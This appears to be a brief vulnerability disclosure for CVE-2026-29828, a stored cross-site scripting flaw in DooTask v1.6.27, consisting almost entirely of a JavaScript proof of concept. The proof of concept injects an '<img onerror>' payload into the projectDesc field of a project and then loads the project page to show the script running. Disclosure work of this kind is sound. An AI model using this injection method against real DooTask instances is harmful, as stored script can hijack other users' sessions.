CVE-2026-29828 DooTask 存储型XSS漏洞

// PoC for CVE-2026-29828 // Target: DooTask v1.6.27 // Vulnerable Parameter: projectDesc // 1. Define the malicious payload to test XSS var payload = '<img src=x onerror=alert(1)>'; // 2. Send a POST request to inject the payload into the project description fetch('/manage/project/1', { method: 'POST', headers: { 'Content-Type': 'application/json', // Include authentication cookies if required }, body: JSON.stringify({ 'projectDesc': payload, // Other necessary parameters for the update request }) }).then(response => console.log('Payload injected')); // 3. Navigate to the project page to verify the execution // Visiting /manage/project/1 should trigger the alert box.